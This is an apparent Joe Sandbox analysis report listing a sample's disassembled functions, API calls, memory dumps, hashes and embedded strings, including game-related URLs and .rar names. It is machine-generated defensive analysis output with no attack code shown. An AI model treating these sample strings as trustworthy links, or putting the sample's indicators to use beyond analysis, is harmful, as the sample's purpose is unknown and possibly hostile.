Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AllocCreateEventHeapObjectSingleWait_malloc_memset
String ID:
API String ID: 2881288967-0
Opcode ID: b843601efef0697a1b12531aa773d25add6609111626776d01ee6a17d80374de
Instruction ID: 40631f355e57ee580ecbeed15f261d426fd53959b776a06303e46a5f0797fbd6
Opcode Fuzzy Hash: b843601efef0697a1b12531aa773d25add6609111626776d01ee6a17d80374de
Instruction Fuzzy Hash: 0F81F4712087019FE324CF28C8A5B66B7E4EF85325F14862CE856CB2D0DB76ED05CB91

Function 0BB78C68 Relevance: 9.2, APIs: 6, Instructions: 208sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,?,?,0BB7894D), ref: 0BB78CF3
Sleep.KERNEL32(00000001,00000000,?,?,?,0BB7894D), ref: 0BB78D0D

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1ebd929e0ca9cd37c08d78951ca578335658bfc525d9f9837f3b5fbd4bdacc5c
Instruction ID: 8a482343aab6f3f82b5d965d586c5b5a60f29f749975fe32fa74e2c72a499367
Opcode Fuzzy Hash: 1ebd929e0ca9cd37c08d78951ca578335658bfc525d9f9837f3b5fbd4bdacc5c
Instruction Fuzzy Hash: 3671C3716452008FD715EF3ADD88B16BBE4EF84710F14C6ADD8A88B3D1D774D8448B61

Function 0BB908DE Relevance: 9.1, APIs: 6, Instructions: 110threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0BB908EB
GetCurrentThreadId.KERNEL32 ref: 0BB908FA

Part of subcall function 0BB908B8: ResetEvent.KERNEL32(00000750), ref: 0BB908BE

RtlEnterCriticalSection.NTDLL(0BBDDA98), ref: 0BB9093F
InterlockedExchange.KERNEL32(0BBD8BC4,?), ref: 0BB9095B
RtlLeaveCriticalSection.NTDLL(0BBDDA98), ref: 0BB909B4
RtlEnterCriticalSection.NTDLL(0BBDDA98), ref: 0BB90A13

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID:
API String ID: 2189153385-0
Opcode ID: 39320defd945adadf00fe67e17f30c645065e3ddbf548a36e12cd74ffaf8473e
Instruction ID: 9b96b49ff47e4bf854904ebdc97da5e774d580cbdafe73b785aed6ec947195bd
Opcode Fuzzy Hash: 39320defd945adadf00fe67e17f30c645065e3ddbf548a36e12cd74ffaf8473e
Instruction Fuzzy Hash: EF318F30A44644AFEB15FFA9E852A6EB7E8EB49700F9184F4E81197660DB359D00CB60

Function 625421E5 Relevance: 9.1, APIs: 6, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 62542218
GetParent.USER32(?), ref: 62542226
GetParent.USER32(?), ref: 62542239
GetLastActivePopup.USER32(?), ref: 6254224A
IsWindowEnabled.USER32(?), ref: 6254225E
EnableWindow.USER32(?,00000000), ref: 62542271

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 89db2505d9ced81019d85eb119a6b168c5c789fb2199671370d511b620ca269b
Instruction ID: b6baf59fc1a312636d11ce53380fdda1575523328f3e66fff0e26bf0ff01dbef
Opcode Fuzzy Hash: 89db2505d9ced81019d85eb119a6b168c5c789fb2199671370d511b620ca269b
Instruction Fuzzy Hash: 9011063254D73167DB320A798C64B2EFAAC6FCAB65F020124ED14E7A04DF30DD0186E5

Function 6256005F Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 62560087

Part of subcall function 6255398D: __getptd.LIBCMT ref: 6255399B
Part of subcall function 6255398D: __getptd.LIBCMT ref: 625539A9

__getptd.LIBCMT ref: 62560091

Part of subcall function 62557833: __getptd_noexit.LIBCMT ref: 62557836
Part of subcall function 62557833: __amsg_exit.LIBCMT ref: 62557843

__getptd.LIBCMT ref: 6256009F
__getptd.LIBCMT ref: 625600AD
__getptd.LIBCMT ref: 625600B8
_CallCatchBlock2.LIBCMT ref: 625600DE

Part of subcall function 62553A32: __CallSettingFrame@12.LIBCMT ref: 62553A7E

Part of subcall function 62560185: __getptd.LIBCMT ref: 62560194
Part of subcall function 62560185: __getptd.LIBCMT ref: 625601A2

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: ddeb201a334cc8f382164481e3692f67a71aa22905656a570cc1c52ee85cb71e
Instruction ID: e0a8c1176fed2f6ea2020cb733554ce75ed4ab9bf47d3fe0154e2b90e66e429c
Opcode Fuzzy Hash: ddeb201a334cc8f382164481e3692f67a71aa22905656a570cc1c52ee85cb71e
Instruction Fuzzy Hash: 2511D7B1C00209EFDB10DFA8C854BEDBBB1FF44315F50906AE814AB250DB789A61DF90

Function 62546B4A Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 62546B5B
GetDlgCtrlID.USER32(00000000), ref: 62546B6F
GetWindowLongA.USER32(00000000,000000F0), ref: 62546B7F
GetWindowRect.USER32(00000000,?), ref: 62546B91
PtInRect.USER32(?,?,?), ref: 62546BA1
GetWindow.USER32(?,00000005), ref: 62546BAE

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 6c08bf47e79f0eb0d42cce40f36d9bb4b3cab25a4a5f343f8e9156a8f5617bd3
Instruction ID: aaedf3ee52bf170528d251e64dd81fb0647d8fe3ada8c2394f0d168c4c071517
Opcode Fuzzy Hash: 6c08bf47e79f0eb0d42cce40f36d9bb4b3cab25a4a5f343f8e9156a8f5617bd3
Instruction Fuzzy Hash: 11014435540226ABDF219E68CC0CFAE7B6CEF46755F014920FD2596490EB34D9118B95

Function 62530000 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6253002E

Part of subcall function 6252DA10: GetModuleHandleA.KERNEL32 ref: 6252DACA
Part of subcall function 6252DA10: GetProcAddress.KERNEL32(00000000), ref: 6252DAD1

_memset.LIBCMT ref: 62530093
_memset.LIBCMT ref: 625300AA
_memset.LIBCMT ref: 625300C7

Strings

http://www.GameM2.com, xrefs: 625300FA, 6253010B, 62530113, 62530150, 62530161, 62530169

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$AddressHandleModuleProc
String ID: http://www.GameM2.com
API String ID: 1149923269-1246133499
Opcode ID: fb4bd44a1923a56aee41de1834e73c2d51a3dc87abf7b3f9d7f748abf480d3c7
Instruction ID: 9885cd313927932f01c1e3fb44b54ff8cbbe888fdca29e88b397e927626d711a
Opcode Fuzzy Hash: fb4bd44a1923a56aee41de1834e73c2d51a3dc87abf7b3f9d7f748abf480d3c7
Instruction Fuzzy Hash: 6B41D6B1548350ABE332D730DD75FEB7BED9FD4308F445929E98987141FA319A0887A2

Function 6251AB40 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 6251AC32

Strings

ydgg.rar, xrefs: 6251AC08
wqgg.rar, xrefs: 6251ABD7
jdgg.rar, xrefs: 6251AB6E
shgg.rar, xrefs: 6251ABA2

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _strncpy
String ID: jdgg.rar$shgg.rar$wqgg.rar$ydgg.rar
API String ID: 2961919466-2876948086
Opcode ID: 9af88a779b9a0b2a031a6356cc764e358175d1aa6bf94d1cc91548d2a3daf0d7
Instruction ID: c0b4f643993d727e1be19b1a4afbbab21841082c23b9aa3768bc106b2c5a95f1
Opcode Fuzzy Hash: 9af88a779b9a0b2a031a6356cc764e358175d1aa6bf94d1cc91548d2a3daf0d7
Instruction Fuzzy Hash: 8631B1359083519BF733CA24CC38BE27BEAAB46308F048D59EC8687151EB75E94CC782

Function 0BBCF624 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80filesynchronizationCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,00000000,0BBCF74D), ref: 0BBCF6CC
CloseHandle.KERNEL32(00000000,00000000,0BBCF74D), ref: 0BBCF6EC
ReleaseMutex.KERNEL32(?,00000000,0BBCF74D), ref: 0BBCF713
CloseHandle.KERNEL32(?,?,00000000,0BBCF74D), ref: 0BBCF71E

Strings

eno198, xrefs: 0BBCF646

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CloseHandle$FileMutexReleaseUnmapView
String ID: eno198
API String ID: 809188715-2945690544
Opcode ID: 05d6f5dd6845b30de2f98c037ab149ae0ecef680f62b42e4bab1ea8d47562055
Instruction ID: 4dd793adf468d192bd3841c2bff24313609eb7ad5e5d267447666fd28df8c2d7
Opcode Fuzzy Hash: 05d6f5dd6845b30de2f98c037ab149ae0ecef680f62b42e4bab1ea8d47562055
Instruction Fuzzy Hash: F9316B30601204CFD705EFB8D865A7A77F6EB89340B5584E9E410C7720EB39EE45CB60

Function 62530330 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6253035E

Part of subcall function 62533FB0: _memset.LIBCMT ref: 62533FD8

_memset.LIBCMT ref: 6253039C
_memset.LIBCMT ref: 625303B3
_memset.LIBCMT ref: 625303D0

Part of subcall function 6252E110: LoadLibraryA.KERNEL32(version.dll,?,?,00000000), ref: 6252E14C

Strings

game Module, xrefs: 625303FF, 62530410, 62530415

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$LibraryLoad
String ID: game Module
API String ID: 1275148839-1822240276
Opcode ID: 6af7ad20fe779ebfc0114cd9f98d30f72b3a0a869c22f22c613e7da8d1f3ef3f
Instruction ID: a17ebef1c53fa769861fb325758cc4df60db7e68c51c2822a5df23ba8517973d
Opcode Fuzzy Hash: 6af7ad20fe779ebfc0114cd9f98d30f72b3a0a869c22f22c613e7da8d1f3ef3f
Instruction Fuzzy Hash: B221A1B1648354ABE231D724EC65BDBBBDC9FC8308F44582DA98C86141F6719B18C7A3

Function 62530620 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6253064E

Part of subcall function 62533FB0: _memset.LIBCMT ref: 62533FD8

_memset.LIBCMT ref: 62530686
_memset.LIBCMT ref: 625306A3
_memset.LIBCMT ref: 625306C0

Part of subcall function 6252E110: LoadLibraryA.KERNEL32(version.dll,?,?,00000000), ref: 6252E14C

Strings

http://www.xm2m2.com, xrefs: 625306EF, 62530700, 62530705

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$LibraryLoad
String ID: http://www.xm2m2.com
API String ID: 1275148839-1391355098
Opcode ID: c584ebe597f468955092d82f6e5f5a67766dc0b59386edbdc553eff2070a1848
Instruction ID: c14b20a7e48085d72ea95bff8e01203ac8dca8e00982ac0db469e3effc117cee
Opcode Fuzzy Hash: c584ebe597f468955092d82f6e5f5a67766dc0b59386edbdc553eff2070a1848
Instruction Fuzzy Hash: FA21A4B1548354ABD275D624DC65FDBBBDC9FD4308F44082DA98987181F6709A1C87A2

Function 0BB71C0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(0BBDB5CC), ref: 0BB71C23
RtlEnterCriticalSection.NTDLL(0BBDB5CC), ref: 0BB71C36
LocalAlloc.KERNEL32(00000000,00000FF8,0BBDB5CC,00000000,;(), ref: 0BB71C60
RtlLeaveCriticalSection.NTDLL(0BBDB5CC), ref: 0BB71CCE

Strings

;(, xrefs: 0BB71C13

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
